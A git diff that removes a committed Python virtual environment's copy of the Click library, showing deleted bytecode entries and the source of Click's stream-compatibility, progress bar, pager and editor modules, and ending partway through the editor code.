b/backend/venv/Lib/site-packages/click/__pycache__/exceptions.cpython-311.pyc deleted file mode 100644 index 39c1d549..00000000 Binary files a/backend/venv/Lib/site-packages/click/__pycache__/exceptions.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/click/__pycache__/formatting.cpython-311.pyc b/backend/venv/Lib/site-packages/click/__pycache__/formatting.cpython-311.pyc deleted file mode 100644 index be91e72d..00000000 Binary files a/backend/venv/Lib/site-packages/click/__pycache__/formatting.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/click/__pycache__/globals.cpython-311.pyc b/backend/venv/Lib/site-packages/click/__pycache__/globals.cpython-311.pyc deleted file mode 100644 index 39e79203..00000000 Binary files a/backend/venv/Lib/site-packages/click/__pycache__/globals.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/click/__pycache__/parser.cpython-311.pyc b/backend/venv/Lib/site-packages/click/__pycache__/parser.cpython-311.pyc deleted file mode 100644 index d7d62f0e..00000000 Binary files a/backend/venv/Lib/site-packages/click/__pycache__/parser.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/click/__pycache__/shell_completion.cpython-311.pyc b/backend/venv/Lib/site-packages/click/__pycache__/shell_completion.cpython-311.pyc deleted file mode 100644 index 1f4d3ac6..00000000 Binary files a/backend/venv/Lib/site-packages/click/__pycache__/shell_completion.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/click/__pycache__/termui.cpython-311.pyc b/backend/venv/Lib/site-packages/click/__pycache__/termui.cpython-311.pyc deleted file mode 100644 index 50cabebc..00000000 Binary files a/backend/venv/Lib/site-packages/click/__pycache__/termui.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/click/__pycache__/testing.cpython-311.pyc b/backend/venv/Lib/site-packages/click/__pycache__/testing.cpython-311.pyc deleted file mode 100644 index 86f4e51d..00000000 Binary files a/backend/venv/Lib/site-packages/click/__pycache__/testing.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/click/__pycache__/types.cpython-311.pyc b/backend/venv/Lib/site-packages/click/__pycache__/types.cpython-311.pyc deleted file mode 100644 index 7448c40b..00000000 Binary files a/backend/venv/Lib/site-packages/click/__pycache__/types.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/click/__pycache__/utils.cpython-311.pyc b/backend/venv/Lib/site-packages/click/__pycache__/utils.cpython-311.pyc deleted file mode 100644 index 7ea45b89..00000000 Binary files a/backend/venv/Lib/site-packages/click/__pycache__/utils.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/click/_compat.py b/backend/venv/Lib/site-packages/click/_compat.py deleted file mode 100644 index f2726b93..00000000 --- a/backend/venv/Lib/site-packages/click/_compat.py +++ /dev/null @@ -1,622 +0,0 @@ -from __future__ import annotations - -import codecs -import collections.abc as cabc -import io -import os -import re -import sys -import typing as t -from types import TracebackType -from weakref import WeakKeyDictionary - -CYGWIN = sys.platform.startswith("cygwin") -WIN = sys.platform.startswith("win") -auto_wrap_for_ansi: t.Callable[[t.TextIO], t.TextIO] | None = None -_ansi_re = re.compile(r"\033\[[;?0-9]*[a-zA-Z]") - - -def _make_text_stream( - stream: t.BinaryIO, - encoding: str | None, - errors: str | None, - force_readable: bool = False, - force_writable: bool = False, -) -> t.TextIO: - if encoding is None: - encoding = get_best_encoding(stream) - if errors is None: - errors = "replace" - return _NonClosingTextIOWrapper( - stream, - encoding, - errors, - line_buffering=True, - force_readable=force_readable, - force_writable=force_writable, - ) - - -def is_ascii_encoding(encoding: str) -> bool: - """Checks if a given encoding is ascii.""" - try: - return codecs.lookup(encoding).name == "ascii" - except LookupError: - return False - - -def get_best_encoding(stream: t.IO[t.Any]) -> str: - """Returns the default stream encoding if not found.""" - rv = getattr(stream, "encoding", None) or sys.getdefaultencoding() - if is_ascii_encoding(rv): - return "utf-8" - return rv - - -class _NonClosingTextIOWrapper(io.TextIOWrapper): - def __init__( - self, - stream: t.BinaryIO, - encoding: str | None, - errors: str | None, - force_readable: bool = False, - force_writable: bool = False, - **extra: t.Any, - ) -> None: - self._stream = stream = t.cast( - t.BinaryIO, _FixupStream(stream, force_readable, force_writable) - ) - super().__init__(stream, encoding, errors, **extra) - - def __del__(self) -> None: - try: - self.detach() - except Exception: - pass - - def isatty(self) -> bool: - # https://bitbucket.org/pypy/pypy/issue/1803 - return self._stream.isatty() - - -class _FixupStream: - """The new io interface needs more from streams than streams - traditionally implement. As such, this fix-up code is necessary in - some circumstances. - - The forcing of readable and writable flags are there because some tools - put badly patched objects on sys (one such offender are certain version - of jupyter notebook). - """ - - def __init__( - self, - stream: t.BinaryIO, - force_readable: bool = False, - force_writable: bool = False, - ): - self._stream = stream - self._force_readable = force_readable - self._force_writable = force_writable - - def __getattr__(self, name: str) -> t.Any: - return getattr(self._stream, name) - - def read1(self, size: int) -> bytes: - f = getattr(self._stream, "read1", None) - - if f is not None: - return t.cast(bytes, f(size)) - - return self._stream.read(size) - - def readable(self) -> bool: - if self._force_readable: - return True - x = getattr(self._stream, "readable", None) - if x is not None: - return t.cast(bool, x()) - try: - self._stream.read(0) - except Exception: - return False - return True - - def writable(self) -> bool: - if self._force_writable: - return True - x = getattr(self._stream, "writable", None) - if x is not None: - return t.cast(bool, x()) - try: - self._stream.write(b"") - except Exception: - try: - self._stream.write(b"") - except Exception: - return False - return True - - def seekable(self) -> bool: - x = getattr(self._stream, "seekable", None) - if x is not None: - return t.cast(bool, x()) - try: - self._stream.seek(self._stream.tell()) - except Exception: - return False - return True - - -def _is_binary_reader(stream: t.IO[t.Any], default: bool = False) -> bool: - try: - return isinstance(stream.read(0), bytes) - except Exception: - return default - # This happens in some cases where the stream was already - # closed. In this case, we assume the default. - - -def _is_binary_writer(stream: t.IO[t.Any], default: bool = False) -> bool: - try: - stream.write(b"") - except Exception: - try: - stream.write("") - return False - except Exception: - pass - return default - return True - - -def _find_binary_reader(stream: t.IO[t.Any]) -> t.BinaryIO | None: - # We need to figure out if the given stream is already binary. - # This can happen because the official docs recommend detaching - # the streams to get binary streams. Some code might do this, so - # we need to deal with this case explicitly. - if _is_binary_reader(stream, False): - return t.cast(t.BinaryIO, stream) - - buf = getattr(stream, "buffer", None) - - # Same situation here; this time we assume that the buffer is - # actually binary in case it's closed. - if buf is not None and _is_binary_reader(buf, True): - return t.cast(t.BinaryIO, buf) - - return None - - -def _find_binary_writer(stream: t.IO[t.Any]) -> t.BinaryIO | None: - # We need to figure out if the given stream is already binary. - # This can happen because the official docs recommend detaching - # the streams to get binary streams. Some code might do this, so - # we need to deal with this case explicitly. - if _is_binary_writer(stream, False): - return t.cast(t.BinaryIO, stream) - - buf = getattr(stream, "buffer", None) - - # Same situation here; this time we assume that the buffer is - # actually binary in case it's closed. - if buf is not None and _is_binary_writer(buf, True): - return t.cast(t.BinaryIO, buf) - - return None - - -def _stream_is_misconfigured(stream: t.TextIO) -> bool: - """A stream is misconfigured if its encoding is ASCII.""" - # If the stream does not have an encoding set, we assume it's set - # to ASCII. This appears to happen in certain unittest - # environments. It's not quite clear what the correct behavior is - # but this at least will force Click to recover somehow. - return is_ascii_encoding(getattr(stream, "encoding", None) or "ascii") - - -def _is_compat_stream_attr(stream: t.TextIO, attr: str, value: str | None) -> bool: - """A stream attribute is compatible if it is equal to the - desired value or the desired value is unset and the attribute - has a value. - """ - stream_value = getattr(stream, attr, None) - return stream_value == value or (value is None and stream_value is not None) - - -def _is_compatible_text_stream( - stream: t.TextIO, encoding: str | None, errors: str | None -) -> bool: - """Check if a stream's encoding and errors attributes are - compatible with the desired values. - """ - return _is_compat_stream_attr( - stream, "encoding", encoding - ) and _is_compat_stream_attr(stream, "errors", errors) - - -def _force_correct_text_stream( - text_stream: t.IO[t.Any], - encoding: str | None, - errors: str | None, - is_binary: t.Callable[[t.IO[t.Any], bool], bool], - find_binary: t.Callable[[t.IO[t.Any]], t.BinaryIO | None], - force_readable: bool = False, - force_writable: bool = False, -) -> t.TextIO: - if is_binary(text_stream, False): - binary_reader = t.cast(t.BinaryIO, text_stream) - else: - text_stream = t.cast(t.TextIO, text_stream) - # If the stream looks compatible, and won't default to a - # misconfigured ascii encoding, return it as-is. - if _is_compatible_text_stream(text_stream, encoding, errors) and not ( - encoding is None and _stream_is_misconfigured(text_stream) - ): - return text_stream - - # Otherwise, get the underlying binary reader. - possible_binary_reader = find_binary(text_stream) - - # If that's not possible, silently use the original reader - # and get mojibake instead of exceptions. - if possible_binary_reader is None: - return text_stream - - binary_reader = possible_binary_reader - - # Default errors to replace instead of strict in order to get - # something that works. - if errors is None: - errors = "replace" - - # Wrap the binary stream in a text stream with the correct - # encoding parameters. - return _make_text_stream( - binary_reader, - encoding, - errors, - force_readable=force_readable, - force_writable=force_writable, - ) - - -def _force_correct_text_reader( - text_reader: t.IO[t.Any], - encoding: str | None, - errors: str | None, - force_readable: bool = False, -) -> t.TextIO: - return _force_correct_text_stream( - text_reader, - encoding, - errors, - _is_binary_reader, - _find_binary_reader, - force_readable=force_readable, - ) - - -def _force_correct_text_writer( - text_writer: t.IO[t.Any], - encoding: str | None, - errors: str | None, - force_writable: bool = False, -) -> t.TextIO: - return _force_correct_text_stream( - text_writer, - encoding, - errors, - _is_binary_writer, - _find_binary_writer, - force_writable=force_writable, - ) - - -def get_binary_stdin() -> t.BinaryIO: - reader = _find_binary_reader(sys.stdin) - if reader is None: - raise RuntimeError("Was not able to determine binary stream for sys.stdin.") - return reader - - -def get_binary_stdout() -> t.BinaryIO: - writer = _find_binary_writer(sys.stdout) - if writer is None: - raise RuntimeError("Was not able to determine binary stream for sys.stdout.") - return writer - - -def get_binary_stderr() -> t.BinaryIO: - writer = _find_binary_writer(sys.stderr) - if writer is None: - raise RuntimeError("Was not able to determine binary stream for sys.stderr.") - return writer - - -def get_text_stdin(encoding: str | None = None, errors: str | None = None) -> t.TextIO: - rv = _get_windows_console_stream(sys.stdin, encoding, errors) - if rv is not None: - return rv - return _force_correct_text_reader(sys.stdin, encoding, errors, force_readable=True) - - -def get_text_stdout(encoding: str | None = None, errors: str | None = None) -> t.TextIO: - rv = _get_windows_console_stream(sys.stdout, encoding, errors) - if rv is not None: - return rv - return _force_correct_text_writer(sys.stdout, encoding, errors, force_writable=True) - - -def get_text_stderr(encoding: str | None = None, errors: str | None = None) -> t.TextIO: - rv = _get_windows_console_stream(sys.stderr, encoding, errors) - if rv is not None: - return rv - return _force_correct_text_writer(sys.stderr, encoding, errors, force_writable=True) - - -def _wrap_io_open( - file: str | os.PathLike[str] | int, - mode: str, - encoding: str | None, - errors: str | None, -) -> t.IO[t.Any]: - """Handles not passing ``encoding`` and ``errors`` in binary mode.""" - if "b" in mode: - return open(file, mode) - - return open(file, mode, encoding=encoding, errors=errors) - - -def open_stream( - filename: str | os.PathLike[str], - mode: str = "r", - encoding: str | None = None, - errors: str | None = "strict", - atomic: bool = False, -) -> tuple[t.IO[t.Any], bool]: - binary = "b" in mode - filename = os.fspath(filename) - - # Standard streams first. These are simple because they ignore the - # atomic flag. Use fsdecode to handle Path("-"). - if os.fsdecode(filename) == "-": - if any(m in mode for m in ["w", "a", "x"]): - if binary: - return get_binary_stdout(), False - return get_text_stdout(encoding=encoding, errors=errors), False - if binary: - return get_binary_stdin(), False - return get_text_stdin(encoding=encoding, errors=errors), False - - # Non-atomic writes directly go out through the regular open functions. - if not atomic: - return _wrap_io_open(filename, mode, encoding, errors), True - - # Some usability stuff for atomic writes - if "a" in mode: - raise ValueError( - "Appending to an existing file is not supported, because that" - " would involve an expensive `copy`-operation to a temporary" - " file. Open the file in normal `w`-mode and copy explicitly" - " if that's what you're after." - ) - if "x" in mode: - raise ValueError("Use the `overwrite`-parameter instead.") - if "w" not in mode: - raise ValueError("Atomic writes only make sense with `w`-mode.") - - # Atomic writes are more complicated. They work by opening a file - # as a proxy in the same folder and then using the fdopen - # functionality to wrap it in a Python file. Then we wrap it in an - # atomic file that moves the file over on close. - import errno - import random - - try: - perm: int | None = os.stat(filename).st_mode - except OSError: - perm = None - - flags = os.O_RDWR | os.O_CREAT | os.O_EXCL - - if binary: - flags |= getattr(os, "O_BINARY", 0) - - while True: - tmp_filename = os.path.join( - os.path.dirname(filename), - f".__atomic-write{random.randrange(1 << 32):08x}", - ) - try: - fd = os.open(tmp_filename, flags, 0o666 if perm is None else perm) - break - except OSError as e: - if e.errno == errno.EEXIST or ( - os.name == "nt" - and e.errno == errno.EACCES - and os.path.isdir(e.filename) - and os.access(e.filename, os.W_OK) - ): - continue - raise - - if perm is not None: - os.chmod(tmp_filename, perm) # in case perm includes bits in umask - - f = _wrap_io_open(fd, mode, encoding, errors) - af = _AtomicFile(f, tmp_filename, os.path.realpath(filename)) - return t.cast(t.IO[t.Any], af), True - - -class _AtomicFile: - def __init__(self, f: t.IO[t.Any], tmp_filename: str, real_filename: str) -> None: - self._f = f - self._tmp_filename = tmp_filename - self._real_filename = real_filename - self.closed = False - - @property - def name(self) -> str: - return self._real_filename - - def close(self, delete: bool = False) -> None: - if self.closed: - return - self._f.close() - os.replace(self._tmp_filename, self._real_filename) - self.closed = True - - def __getattr__(self, name: str) -> t.Any: - return getattr(self._f, name) - - def __enter__(self) -> _AtomicFile: - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_value: BaseException | None, - tb: TracebackType | None, - ) -> None: - self.close(delete=exc_type is not None) - - def __repr__(self) -> str: - return repr(self._f) - - -def strip_ansi(value: str) -> str: - return _ansi_re.sub("", value) - - -def _is_jupyter_kernel_output(stream: t.IO[t.Any]) -> bool: - while isinstance(stream, (_FixupStream, _NonClosingTextIOWrapper)): - stream = stream._stream - - return stream.__class__.__module__.startswith("ipykernel.") - - -def should_strip_ansi( - stream: t.IO[t.Any] | None = None, color: bool | None = None -) -> bool: - if color is None: - if stream is None: - stream = sys.stdin - return not isatty(stream) and not _is_jupyter_kernel_output(stream) - return not color - - -# On Windows, wrap the output streams with colorama to support ANSI -# color codes. -# NOTE: double check is needed so mypy does not analyze this on Linux -if sys.platform.startswith("win") and WIN: - from ._winconsole import _get_windows_console_stream - - def _get_argv_encoding() -> str: - import locale - - return locale.getpreferredencoding() - - _ansi_stream_wrappers: cabc.MutableMapping[t.TextIO, t.TextIO] = WeakKeyDictionary() - - def auto_wrap_for_ansi(stream: t.TextIO, color: bool | None = None) -> t.TextIO: - """Support ANSI color and style codes on Windows by wrapping a - stream with colorama. - """ - try: - cached = _ansi_stream_wrappers.get(stream) - except Exception: - cached = None - - if cached is not None: - return cached - - import colorama - - strip = should_strip_ansi(stream, color) - ansi_wrapper = colorama.AnsiToWin32(stream, strip=strip) - rv = t.cast(t.TextIO, ansi_wrapper.stream) - _write = rv.write - - def _safe_write(s: str) -> int: - try: - return _write(s) - except BaseException: - ansi_wrapper.reset_all() - raise - - rv.write = _safe_write # type: ignore[method-assign] - - try: - _ansi_stream_wrappers[stream] = rv - except Exception: - pass - - return rv - -else: - - def _get_argv_encoding() -> str: - return getattr(sys.stdin, "encoding", None) or sys.getfilesystemencoding() - - def _get_windows_console_stream( - f: t.TextIO, encoding: str | None, errors: str | None - ) -> t.TextIO | None: - return None - - -def term_len(x: str) -> int: - return len(strip_ansi(x)) - - -def isatty(stream: t.IO[t.Any]) -> bool: - try: - return stream.isatty() - except Exception: - return False - - -def _make_cached_stream_func( - src_func: t.Callable[[], t.TextIO | None], - wrapper_func: t.Callable[[], t.TextIO], -) -> t.Callable[[], t.TextIO | None]: - cache: cabc.MutableMapping[t.TextIO, t.TextIO] = WeakKeyDictionary() - - def func() -> t.TextIO | None: - stream = src_func() - - if stream is None: - return None - - try: - rv = cache.get(stream) - except Exception: - rv = None - if rv is not None: - return rv - rv = wrapper_func() - try: - cache[stream] = rv - except Exception: - pass - return rv - - return func - - -_default_text_stdin = _make_cached_stream_func(lambda: sys.stdin, get_text_stdin) -_default_text_stdout = _make_cached_stream_func(lambda: sys.stdout, get_text_stdout) -_default_text_stderr = _make_cached_stream_func(lambda: sys.stderr, get_text_stderr) - - -binary_streams: cabc.Mapping[str, t.Callable[[], t.BinaryIO]] = { - "stdin": get_binary_stdin, - "stdout": get_binary_stdout, - "stderr": get_binary_stderr, -} - -text_streams: cabc.Mapping[str, t.Callable[[str | None, str | None], t.TextIO]] = { - "stdin": get_text_stdin, - "stdout": get_text_stdout, - "stderr": get_text_stderr, -} diff --git a/backend/venv/Lib/site-packages/click/_termui_impl.py b/backend/venv/Lib/site-packages/click/_termui_impl.py deleted file mode 100644 index 51fd9bf3..00000000 --- a/backend/venv/Lib/site-packages/click/_termui_impl.py +++ /dev/null @@ -1,839 +0,0 @@ -""" -This module contains implementations for the termui module. To keep the -import time of Click down, some infrequently used functionality is -placed in this module and only imported as needed. -""" - -from __future__ import annotations - -import collections.abc as cabc -import contextlib -import math -import os -import shlex -import sys -import time -import typing as t -from gettext import gettext as _ -from io import StringIO -from pathlib import Path -from shutil import which -from types import TracebackType - -from ._compat import _default_text_stdout -from ._compat import CYGWIN -from ._compat import get_best_encoding -from ._compat import isatty -from ._compat import open_stream -from ._compat import strip_ansi -from ._compat import term_len -from ._compat import WIN -from .exceptions import ClickException -from .utils import echo - -V = t.TypeVar("V") - -if os.name == "nt": - BEFORE_BAR = "\r" - AFTER_BAR = "\n" -else: - BEFORE_BAR = "\r\033[?25l" - AFTER_BAR = "\033[?25h\n" - - -class ProgressBar(t.Generic[V]): - def __init__( - self, - iterable: cabc.Iterable[V] | None, - length: int | None = None, - fill_char: str = "#", - empty_char: str = " ", - bar_template: str = "%(bar)s", - info_sep: str = " ", - hidden: bool = False, - show_eta: bool = True, - show_percent: bool | None = None, - show_pos: bool = False, - item_show_func: t.Callable[[V | None], str | None] | None = None, - label: str | None = None, - file: t.TextIO | None = None, - color: bool | None = None, - update_min_steps: int = 1, - width: int = 30, - ) -> None: - self.fill_char = fill_char - self.empty_char = empty_char - self.bar_template = bar_template - self.info_sep = info_sep - self.hidden = hidden - self.show_eta = show_eta - self.show_percent = show_percent - self.show_pos = show_pos - self.item_show_func = item_show_func - self.label: str = label or "" - - if file is None: - file = _default_text_stdout() - - # There are no standard streams attached to write to. For example, - # pythonw on Windows. - if file is None: - file = StringIO() - - self.file = file - self.color = color - self.update_min_steps = update_min_steps - self._completed_intervals = 0 - self.width: int = width - self.autowidth: bool = width == 0 - - if length is None: - from operator import length_hint - - length = length_hint(iterable, -1) - - if length == -1: - length = None - if iterable is None: - if length is None: - raise TypeError("iterable or length is required") - iterable = t.cast("cabc.Iterable[V]", range(length)) - self.iter: cabc.Iterable[V] = iter(iterable) - self.length = length - self.pos: int = 0 - self.avg: list[float] = [] - self.last_eta: float - self.start: float - self.start = self.last_eta = time.time() - self.eta_known: bool = False - self.finished: bool = False - self.max_width: int | None = None - self.entered: bool = False - self.current_item: V | None = None - self._is_atty = isatty(self.file) - self._last_line: str | None = None - - def __enter__(self) -> ProgressBar[V]: - self.entered = True - self.render_progress() - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_value: BaseException | None, - tb: TracebackType | None, - ) -> None: - self.render_finish() - - def __iter__(self) -> cabc.Iterator[V]: - if not self.entered: - raise RuntimeError("You need to use progress bars in a with block.") - self.render_progress() - return self.generator() - - def __next__(self) -> V: - # Iteration is defined in terms of a generator function, - # returned by iter(self); use that to define next(). This works - # because `self.iter` is an iterable consumed by that generator, - # so it is re-entry safe. Calling `next(self.generator())` - # twice works and does "what you want". - return next(iter(self)) - - def render_finish(self) -> None: - if self.hidden or not self._is_atty: - return - self.file.write(AFTER_BAR) - self.file.flush() - - @property - def pct(self) -> float: - if self.finished: - return 1.0 - return min(self.pos / (float(self.length or 1) or 1), 1.0) - - @property - def time_per_iteration(self) -> float: - if not self.avg: - return 0.0 - return sum(self.avg) / float(len(self.avg)) - - @property - def eta(self) -> float: - if self.length is not None and not self.finished: - return self.time_per_iteration * (self.length - self.pos) - return 0.0 - - def format_eta(self) -> str: - if self.eta_known: - t = int(self.eta) - seconds = t % 60 - t //= 60 - minutes = t % 60 - t //= 60 - hours = t % 24 - t //= 24 - if t > 0: - return f"{t}d {hours:02}:{minutes:02}:{seconds:02}" - else: - return f"{hours:02}:{minutes:02}:{seconds:02}" - return "" - - def format_pos(self) -> str: - pos = str(self.pos) - if self.length is not None: - pos += f"/{self.length}" - return pos - - def format_pct(self) -> str: - return f"{int(self.pct * 100): 4}%"[1:] - - def format_bar(self) -> str: - if self.length is not None: - bar_length = int(self.pct * self.width) - bar = self.fill_char * bar_length - bar += self.empty_char * (self.width - bar_length) - elif self.finished: - bar = self.fill_char * self.width - else: - chars = list(self.empty_char * (self.width or 1)) - if self.time_per_iteration != 0: - chars[ - int( - (math.cos(self.pos * self.time_per_iteration) / 2.0 + 0.5) - * self.width - ) - ] = self.fill_char - bar = "".join(chars) - return bar - - def format_progress_line(self) -> str: - show_percent = self.show_percent - - info_bits = [] - if self.length is not None and show_percent is None: - show_percent = not self.show_pos - - if self.show_pos: - info_bits.append(self.format_pos()) - if show_percent: - info_bits.append(self.format_pct()) - if self.show_eta and self.eta_known and not self.finished: - info_bits.append(self.format_eta()) - if self.item_show_func is not None: - item_info = self.item_show_func(self.current_item) - if item_info is not None: - info_bits.append(item_info) - - return ( - self.bar_template - % { - "label": self.label, - "bar": self.format_bar(), - "info": self.info_sep.join(info_bits), - } - ).rstrip() - - def render_progress(self) -> None: - import shutil - - if self.hidden: - return - - if not self._is_atty: - # Only output the label once if the output is not a TTY. - if self._last_line != self.label: - self._last_line = self.label - echo(self.label, file=self.file, color=self.color) - return - - buf = [] - # Update width in case the terminal has been resized - if self.autowidth: - old_width = self.width - self.width = 0 - clutter_length = term_len(self.format_progress_line()) - new_width = max(0, shutil.get_terminal_size().columns - clutter_length) - if new_width < old_width and self.max_width is not None: - buf.append(BEFORE_BAR) - buf.append(" " * self.max_width) - self.max_width = new_width - self.width = new_width - - clear_width = self.width - if self.max_width is not None: - clear_width = self.max_width - - buf.append(BEFORE_BAR) - line = self.format_progress_line() - line_len = term_len(line) - if self.max_width is None or self.max_width < line_len: - self.max_width = line_len - - buf.append(line) - buf.append(" " * (clear_width - line_len)) - line = "".join(buf) - # Render the line only if it changed. - - if line != self._last_line: - self._last_line = line - echo(line, file=self.file, color=self.color, nl=False) - self.file.flush() - - def make_step(self, n_steps: int) -> None: - self.pos += n_steps - if self.length is not None and self.pos >= self.length: - self.finished = True - - if (time.time() - self.last_eta) < 1.0: - return - - self.last_eta = time.time() - - # self.avg is a rolling list of length <= 7 of steps where steps are - # defined as time elapsed divided by the total progress through - # self.length. - if self.pos: - step = (time.time() - self.start) / self.pos - else: - step = time.time() - self.start - - self.avg = self.avg[-6:] + [step] - - self.eta_known = self.length is not None - - def update(self, n_steps: int, current_item: V | None = None) -> None: - """Update the progress bar by advancing a specified number of - steps, and optionally set the ``current_item`` for this new - position. - - :param n_steps: Number of steps to advance. - :param current_item: Optional item to set as ``current_item`` - for the updated position. - - .. versionchanged:: 8.0 - Added the ``current_item`` optional parameter. - - .. versionchanged:: 8.0 - Only render when the number of steps meets the - ``update_min_steps`` threshold. - """ - if current_item is not None: - self.current_item = current_item - - self._completed_intervals += n_steps - - if self._completed_intervals >= self.update_min_steps: - self.make_step(self._completed_intervals) - self.render_progress() - self._completed_intervals = 0 - - def finish(self) -> None: - self.eta_known = False - self.current_item = None - self.finished = True - - def generator(self) -> cabc.Iterator[V]: - """Return a generator which yields the items added to the bar - during construction, and updates the progress bar *after* the - yielded block returns. - """ - # WARNING: the iterator interface for `ProgressBar` relies on - # this and only works because this is a simple generator which - # doesn't create or manage additional state. If this function - # changes, the impact should be evaluated both against - # `iter(bar)` and `next(bar)`. `next()` in particular may call - # `self.generator()` repeatedly, and this must remain safe in - # order for that interface to work. - if not self.entered: - raise RuntimeError("You need to use progress bars in a with block.") - - if not self._is_atty: - yield from self.iter - else: - for rv in self.iter: - self.current_item = rv - - # This allows show_item_func to be updated before the - # item is processed. Only trigger at the beginning of - # the update interval. - if self._completed_intervals == 0: - self.render_progress() - - yield rv - self.update(1) - - self.finish() - self.render_progress() - - -def pager(generator: cabc.Iterable[str], color: bool | None = None) -> None: - """Decide what method to use for paging through text.""" - stdout = _default_text_stdout() - - # There are no standard streams attached to write to. For example, - # pythonw on Windows. - if stdout is None: - stdout = StringIO() - - if not isatty(sys.stdin) or not isatty(stdout): - return _nullpager(stdout, generator, color) - - # Split and normalize the pager command into parts. - pager_cmd_parts = shlex.split(os.environ.get("PAGER", ""), posix=False) - if pager_cmd_parts: - if WIN: - if _tempfilepager(generator, pager_cmd_parts, color): - return - elif _pipepager(generator, pager_cmd_parts, color): - return - - if os.environ.get("TERM") in ("dumb", "emacs"): - return _nullpager(stdout, generator, color) - if (WIN or sys.platform.startswith("os2")) and _tempfilepager( - generator, ["more"], color - ): - return - if _pipepager(generator, ["less"], color): - return - - import tempfile - - fd, filename = tempfile.mkstemp() - os.close(fd) - try: - if _pipepager(generator, ["more"], color): - return - return _nullpager(stdout, generator, color) - finally: - os.unlink(filename) - - -def _pipepager( - generator: cabc.Iterable[str], cmd_parts: list[str], color: bool | None -) -> bool: - """Page through text by feeding it to another program. Invoking a - pager through this might support colors. - - Returns `True` if the command was found, `False` otherwise and thus another - pager should be attempted. - """ - # Split the command into the invoked CLI and its parameters. - if not cmd_parts: - return False - cmd = cmd_parts[0] - cmd_params = cmd_parts[1:] - - cmd_filepath = which(cmd) - if not cmd_filepath: - return False - # Resolves symlinks and produces a normalized absolute path string. - cmd_path = Path(cmd_filepath).resolve() - cmd_name = cmd_path.name - - import subprocess - - # Make a local copy of the environment to not affect the global one. - env = dict(os.environ) - - # If we're piping to less and the user hasn't decided on colors, we enable - # them by default we find the -R flag in the command line arguments. - if color is None and cmd_name == "less": - less_flags = f"{os.environ.get('LESS', '')}{' '.join(cmd_params)}" - if not less_flags: - env["LESS"] = "-R" - color = True - elif "r" in less_flags or "R" in less_flags: - color = True - - c = subprocess.Popen( - [str(cmd_path)] + cmd_params, - shell=True, - stdin=subprocess.PIPE, - env=env, - errors="replace", - text=True, - ) - assert c.stdin is not None - try: - for text in generator: - if not color: - text = strip_ansi(text) - - c.stdin.write(text) - except BrokenPipeError: - # In case the pager exited unexpectedly, ignore the broken pipe error. - pass - except Exception as e: - # In case there is an exception we want to close the pager immediately - # and let the caller handle it. - # Otherwise the pager will keep running, and the user may not notice - # the error message, or worse yet it may leave the terminal in a broken state. - c.terminate() - raise e - finally: - # We must close stdin and wait for the pager to exit before we continue - try: - c.stdin.close() - # Close implies flush, so it might throw a BrokenPipeError if the pager - # process exited already. - except BrokenPipeError: - pass - - # Less doesn't respect ^C, but catches it for its own UI purposes (aborting - # search or other commands inside less). - # - # That means when the user hits ^C, the parent process (click) terminates, - # but less is still alive, paging the output and messing up the terminal. - # - # If the user wants to make the pager exit on ^C, they should set - # `LESS='-K'`. It's not our decision to make. - while True: - try: - c.wait() - except KeyboardInterrupt: - pass - else: - break - - return True - - -def _tempfilepager( - generator: cabc.Iterable[str], cmd_parts: list[str], color: bool | None -) -> bool: - """Page through text by invoking a program on a temporary file. - - Returns `True` if the command was found, `False` otherwise and thus another - pager should be attempted. - """ - # Split the command into the invoked CLI and its parameters. - if not cmd_parts: - return False - cmd = cmd_parts[0] - - cmd_filepath = which(cmd) - if not cmd_filepath: - return False - # Resolves symlinks and produces a normalized absolute path string. - cmd_path = Path(cmd_filepath).resolve() - - import subprocess - import tempfile - - fd, filename = tempfile.mkstemp() - # TODO: This never terminates if the passed generator never terminates. - text = "".join(generator) - if not color: - text = strip_ansi(text) - encoding = get_best_encoding(sys.stdout) - with open_stream(filename, "wb")[0] as f: - f.write(text.encode(encoding)) - try: - subprocess.call([str(cmd_path), filename]) - except OSError: - # Command not found - pass - finally: - os.close(fd) - os.unlink(filename) - - return True - - -def _nullpager( - stream: t.TextIO, generator: cabc.Iterable[str], color: bool | None -) -> None: - """Simply print unformatted text. This is the ultimate fallback.""" - for text in generator: - if not color: - text = strip_ansi(text) - stream.write(text) - - -class Editor: - def __init__( - self, - editor: str | None = None, - env: cabc.Mapping[str, str] | None = None, - require_save: bool = True, - extension: str = ".txt", - ) -> None: - self.editor = editor - self.env = env - self.require_save = require_save - self.extension = extension - - def get_editor(self) -> str: - if self.editor is not None: - return self.editor - for key in "VISUAL", "EDITOR": - rv = os.environ.get(key) - if rv: - return rv - if WIN: - return "notepad" - for editor in "sensible-editor", "vim", "nano": - if which(editor) is not None: - return editor - return "vi" - - def edit_files(self, filenames: cabc.Iterable[str]) -> None: - import subprocess - - editor = self.get_editor() - environ: dict[str, str] | None = None - - if self.env: - environ = os.environ.copy() - environ.update(self.env) - - exc_filename = " ".join(f'"{filename}"' for filename in filenames) - - try: - c = subprocess.Popen( - args=f"{editor} {exc_filename}", env=environ, shell=True - ) - exit_code = c.wait() - if exit_code != 0: - raise ClickException( - _("{editor}: Editing failed").format(editor=editor) - ) - except OSError as e: - raise ClickException( - _("{editor}: Editing failed: {e}").format(editor=editor, e=e) - ) from e - - @t.overload - def edit(self, text: bytes | bytearray) -> bytes | None: ... - - # We cannot know whether or not the type expected is str or bytes when None - # is passed, so str is returned as that was what was done before. - @t.overload - def edit(self, text: str | None) -> str | None: ... - - def edit(self, text: str | bytes | bytearray | None) -> str | bytes | None: - import tempfile - - if text is None: - data = b"" - elif isinstance(text, (bytes, bytearray)): - data = text - else: - if text and not text.endswith("\n"): - text += "\n" - - if WIN: - data = text.replace("\n", "\r\n").encode("utf-8-sig") - else: - data = text.encode("utf-8") - - fd, name = tempfile.mkstemp(prefix="editor-", suffix=self.extension) - f: t.BinaryIO - - try: - with os.fdopen(fd, "wb") as f: - f.write(data) - - # 